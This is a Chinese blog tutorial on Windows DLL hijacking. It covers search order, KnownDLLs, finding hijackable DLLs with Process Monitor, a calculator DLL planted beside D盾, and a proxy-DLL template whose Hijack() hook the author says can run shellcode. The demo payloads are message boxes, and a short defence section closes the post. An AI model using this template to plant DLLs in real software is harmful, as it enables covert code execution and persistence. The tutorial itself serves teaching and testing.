日子越来越有判头了?用DLL劫持,搞点事情!

李志宽
• 阅读 1440

0x01 dll简介

在Windows系统中,为了节省内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library),即动态链接库,这种库包含了可由多个程序同时使用的代码和数据。

每个DLL都有一个入口函数(DLLMain),系统在特定环境下会调用DLLMain。在下面的事件发生时就会调用dll的入口函数:

  • 1.进程装载DLL。
  • 2.进程卸载DLL。
  • 3.DLL在被装载之后创建了新线程。
  • 4.DLL在被装载之后一个线程被终止了。 另外,每个DLL文件中都包含有一个导出函数表也叫输出表(存在于PE的.edata节中)。使用一些PE文件查看工具如LoadPE,就可以查看导出函数的符号名即函数名称和函数在导出函数表中的标识号。 应用程序导入函数与DLL文件中的导出函数进行链接有两种方式:隐式链接(load-time dynamiclinking)也叫静态调用和显式链接(run-time dynamiclinking)也叫动态调用。隐式链接方式一般用于开发和调试,而显式链接方式就是我们常见的使用LoadLibary或者LoadLibraryEx函数(注:涉及到模块加载的函数有很多)来加载DLL去调用相应的导出函数。调用LoadLibrary或者LoadLibraryEx函数时可以使用DLL的相对路径也可以使用绝对路径,

dll路径搜索规则

但是很多情况下,开发人员都是使用了相对路径来进行DLL的加载。那么,在这种情况下,Windows系统会按照特定的顺序去搜索一些目录,来确定DLL的完整路径。关于动态链接库的搜索顺序的更多详细资料请参阅MSDN。根据MSDN文档的约定,在使用了DLL的相对路径调用LoadLibrary函数时,系统会依次从下面几个位置去查找所需要调用的DLL文件。

  • 1.程序所在目录。
  • 2.加载 DLL 时所在的当前目录。
  • 3.系统目录即 SYSTEM32 目录。
  • 4.16位系统目录即 SYSTEM 目录。
  • 5.Windows目录。
  • 6.PATH环境变量中列出的目录微软为了防止DLL劫持漏洞的产生,在XP SP2之后,添加了一个SafeDllSearchMode的注册表属性。注册表路径如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

当SafeDllSearchMode的值设置为1,即安全DLL搜索模式开启时,查找DLL的目录顺序如下:

  • 1.程序所在目录
  • 2.系统目录即 SYSTEM32 目录。
  • 3.16位系统目录即 SYSTEM 目录。
  • 4.Windows目录。
  • 5.加载 DLL 时所在的当前目录。
  • 6.PATH环境变量中列出的目录。

在win7以上版本

微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。注册表路径如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

以前经常使用的一些劫持DLL已经被加入了KnownDLLs注册表项,这就意味着使用诸如usp10.dll,lpk.dll,ws2_32.dll去进行DLL劫持已经失效了。

所以在win7及以上当启用了SafeDllSearchMode搜索顺序如下

  • 1.应用程序所在目录。
  • 2.系统目录SYSTEM32 目录。
  • 3.16位系统目录。没有获取该目录路径的函数,但会对其进行搜索。
  • 4.Windows目录。使用GetWindowsDirectory函数获取此目录的路径。
  • 5.当前目录
  • 6.环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径。 Windows操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。 不过,微软又莫名其妙的允许用户在上述注册表路径中添加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制保护的DLL。也就是说,只要在“ExcludeFromKnownDlls”注册表项中添加你想劫持的DLL名称就可以对该DLL进行劫持,不过修改之后需要重新启动电脑才能生效。

在上述描述加载DLL的整个过程中,DLL劫持漏洞就是在系统进行安装“DLL路径搜索目录顺序”搜索DLL的时候发生的。

无论安全DLL搜索模式是否开启,系统总是首先会从应用程序(程序安装目录)所在目录加载DLL,如果没有找到就按照上面的顺序依次进行搜索。那么,利用这个特性,攻击者就可以伪造一个相同名称的dll,只要这个dll不在KnownDLLs注册表项中,我们就可以对该dll进行劫持测试。

键值

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

win10的如下

日子越来越有判头了?用DLL劫持,搞点事情!

0x02 寻找可劫持dll

有很多软件可以查看exe加载的dll

process-explorer

https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

日子越来越有判头了?用DLL劫持,搞点事情!

火绒剑

日子越来越有判头了?用DLL劫持,搞点事情!

Process Monitor

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

使用的时候可以设置Filter,填入过滤条件,可以帮助排除很多无用的信息

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys

Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

类似下图这种就是该dll在KnownDLLs注册表项里

日子越来越有判头了?用DLL劫持,搞点事情!

0x03 劫持测试

这里用D盾进行劫持实验

还是先使用Process Explorer

日子越来越有判头了?用DLL劫持,搞点事情!

可以将这些dll文件与KnownDLLs注册表项里的dll进行比较,找出不在范围内的dll进行劫持测试

当然这里也有偷懒的方法,批量自动化测试

这里ctrl+s可以直接保存获取的信息文本,然后再通过正则来提取路径信息,再放到批量验证工具里

日子越来越有判头了?用DLL劫持,搞点事情!

存在的话就会直接输出结果

日子越来越有判头了?用DLL劫持,搞点事情!

不存在就会显示no

日子越来越有判头了?用DLL劫持,搞点事情!

上面显示存在两个dll可能可以劫持 这里直接放一个弹计算器的dll改成WINSTA.dll放到D盾目录下,再运行D盾,成功弹出。

日子越来越有判头了?用DLL劫持,搞点事情!

0x04 进阶测试

但是这种方法只劫持了加载计算机的函数,原来dll还有很多其他的导出函数,这样直接劫持可能会导致程序无法正常启动。

所以一般会制作一个相同名称,相同导出函数表的一个“假”DLL,并将每个导出函数转向到“真”DLL。将这个“假”DLL放到程序的目录下,当程序调用DLL中的函数时就会首先加载“假”DLL,在“假”DLL中攻击者已经加入了恶意代码,这时这些恶意代码就会被执行,之后,“假”DLL再将DLL调用流程转向“真”DLL,以免影响程序的正常执行。

这里我们制作一个弹窗的dll来进行测试,

1.首先使用VS2019新建一个DLL项目

日子越来越有判头了?用DLL劫持,搞点事情!

2.在生成的dllmain.cpp下添加

Bash

void msg() {
    MessageBox(0, L"Dll-1 load  succeed!", L"Good", 0);
}

3.然后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件

Bash

#pragma once
#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

然后编译生成Dll1.dll

日子越来越有判头了?用DLL劫持,搞点事情!

再新建一个C++项目,填入如下代码

日子越来越有判头了?用DLL劫持,搞点事情!

Go

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // 定义一个函数类DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc = NULL;
    // 指定动态加载dll库
    HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL
    if (hinst != NULL) {
        // 获取函数位置
        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名
    }
    if (GetDllfunc != NULL) {
        //运行msg函数
        (*GetDllfunc)();
    }
}

想了解dll编写细节的可以看这里 再次生成解决方案,然后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe

日子越来越有判头了?用DLL劫持,搞点事情!

成功弹窗 这里我们用之前转发劫持dll的思路,来试验一下 这里我用脚本一键生成用来劫持的dll

日子越来越有判头了?用DLL劫持,搞点事情!

这是默认生成的

Bash

# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
              FARPROC Hijack_msg;
}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = {0};
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll1"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
            }
            ExitProcess(-2);
        }
        return fpAddress;
    }
}
using namespace DLLHijacker;
VOID Hijack()   //default open a calc.//添加自己的代码
{  

}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        DisableThreadLibraryCalls(hModule);
        if(Load())
        {
            Hijack_msg = GetAddress("msg");

            Hijack();
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在编译生成新的dll前要注意在代码这一行,将Dll1改为Dll2.dll

Bash

lstrcpy(tzPath, TEXT("Dll2.dll"));

然后在代码这一行添加弹窗或者执行shellcode

Go

VOID Hijack()   //default open a calc.
{  
    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);

}

然后编译生成 再将我们之前生成的Dll1.dll改为Dll2.dll,将两个Dll和Meg.exe放在同一个目录下

日子越来越有判头了?用DLL劫持,搞点事情!

运行Meg.exe这时候应该会有两个弹窗

日子越来越有判头了?用DLL劫持,搞点事情!

可以看到是先劫持DLL添加的弹窗,再弹出DLL原本的弹窗

0x05 防御

通用免疫方案: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs]在此注册表项下定义一个“已知DLL名称”,那么凡是此项下的DLL文件就会被禁止从EXE自身目录下调用,而只能从系统目录,也就是system32目录下调用。据此可以写一个简单的DLL劫持免疫器 或者可以在加载dll是检测MD5和大小,来防御.

点赞
收藏
评论区
推荐文章
Ustinain Ustinain
3年前
初识动态链接库(DLL)
初识DLLDLL是DynamiclinkLibrary的缩写以为动态链接库。在Windows中,许多的应用程序并不是一个完整的可执行文件,会被分成一些相对独立的动态链接库,如DLL文件,放置于系统中比如:Windows系统是许多动态链接库(DLL)组成的是Windows最基本的应用程序但我们执行运行某一个应用程序的时候,相应的DLL文件就会被程
红橙Darren 红橙Darren
3年前
JNI 基础 - JNIEnv 的实现原理
一.JNI开发的一般流程在windows系统上面我们经常能看到很多类似于xxx.dll的文件,在做android开发的时候我们能看到很多xxx.so的文件。这些都是啥呢?其实就是用c和c实现生成的动态库,供windows和android系统来调用。我们解压QQ和支付宝的apk找到它的libs目录下,会发现有大
Aimerl0 Aimerl0
3年前
WPS2010版本DLL劫持漏洞复现(plgpf.dll)
WPSOfficeplgpf.dllDLL劫持漏洞原理简单说就是exe文件寻找DLL库会优先在当前目录下寻找,若DLL库未经过校验或者寻找DLL路径不是绝对路径,容易导致DLL被本地攻击者劫持漏洞描述CVE编号:CVE20105208WPSoffice套件应用程序在加载外部库(DLL)时通过了一个不合格
Wesley13 Wesley13
3年前
VC++动态链接库(DLL)编程深入浅出(一)
1.概论  先来阐述一下DLL(DynamicLinkableLibrary)的概念,你可以简单的把DLL看成一种仓库,它提供给你一些可以直接拿来用的变量、函数或类。在仓库的发展史上经历了“无库-静态链接库-动态链接库”的时代。  静态链接库与动态链接库都是共享代码的方式,如果采用静态链接库,则无论你愿不愿意,lib中的指令都被直
Wesley13 Wesley13
3年前
DLL如何导出类?
其实最好是写一个父类,把要实现的函数全部以虚函数的形式写在父类中,然后写一个子类,继承父类,重写父类的虚函数。这样的话就安全得多了。其次就在DLL中导出一个函数,返回父类的一个对象指针,再在EXE中动态链接DLL,调用导出函数。例子如下://以下是DLL的代码//class\_a.hclass A{public:
Wesley13 Wesley13
3年前
Java通过JNI的方式调用C
1、调用原理用java的javah命令将javanative方法编译成.h,在C程序中调用此.h文件,并实现.h文件里面声明的方法,编译生成.dll文件,最后java通过System.loadLibrary()加载.dll文件,调用具体的方法实现;2、具体操作步骤:1、编译JAVA类publicclassTes
Wesley13 Wesley13
3年前
DLL核心编程
   现在只要做关于dll,为了dll有更好的应用以及跨平台,一般采用自己写,不用系统的生成!不管用dll做什么事情,如一般用在大型项目软件中或为3D引擎的dll,都采用自己编,我把这段代码放出后可能很多人觉得这个太简单了,但是越是简单的东西越不简单,我记得我以前和别人就讲hello,world的c程序,我讲了五个小时还没讲完。并且这也是所有的dll的
Wesley13 Wesley13
3年前
2014百度校园招聘软件研发类笔试(深圳)
时间:2013年9月28日。地点:深圳职位:软件研发问答题:(10\3)1.动态链接库(DLL)与静态链接库(lib)的优缺点:静态链接库和动态链接库都是共享代码的方式,如果采用静态链接库,则无论你愿不愿意,lib中的指令都全部被直接包含在最终的EXE文件中,若使用DLL,该DLL不必被包含在最终的EXE中,EXE文件
Wesley13 Wesley13
3年前
VC++ 函数指针实现被动传输数据
    在使用VS2010开发项目时,经常需要实现一些动态的DLL库的开发,其在开发过程中,需要dll能自动调用回调函数,实现数据传输。因此,在项目中,需要使用到函数的指针,函数的指针能很好的解决该问题。下面采用socket的通信为例。    在我们认知的socket的通信模型中,其采用cs经典模型,为了使我们的代码具有更好的可移植复用性,一般讲,s
专注IP定位 专注IP定位
2年前
Qakbot新型感染链:使用Windows7系统侧加载感染设备
前言:DLL侧加载(DLLsideloading)是一种常见的攻击方法,也就是我们常说的“白加黑”技术,它利用了Windows中处理动态链接库(DLL)的方式。Qakbot恶意软件的开发者通过使用Windows7系统在被感染的计算机上侧加载恶意负载,最终达到感染设备的效果。近日,研究人员ProxyLife发现,从今年7月11日开始Qakbot滥用Windo
李志宽
李志宽
Lv1
男 · 长沙幻音科技有限公司 · 网络安全工程师
李志宽、前百创作者、渗透测试专家、闷骚男一位、有自己的摇滚乐队
文章
89
粉丝
25
获赞
43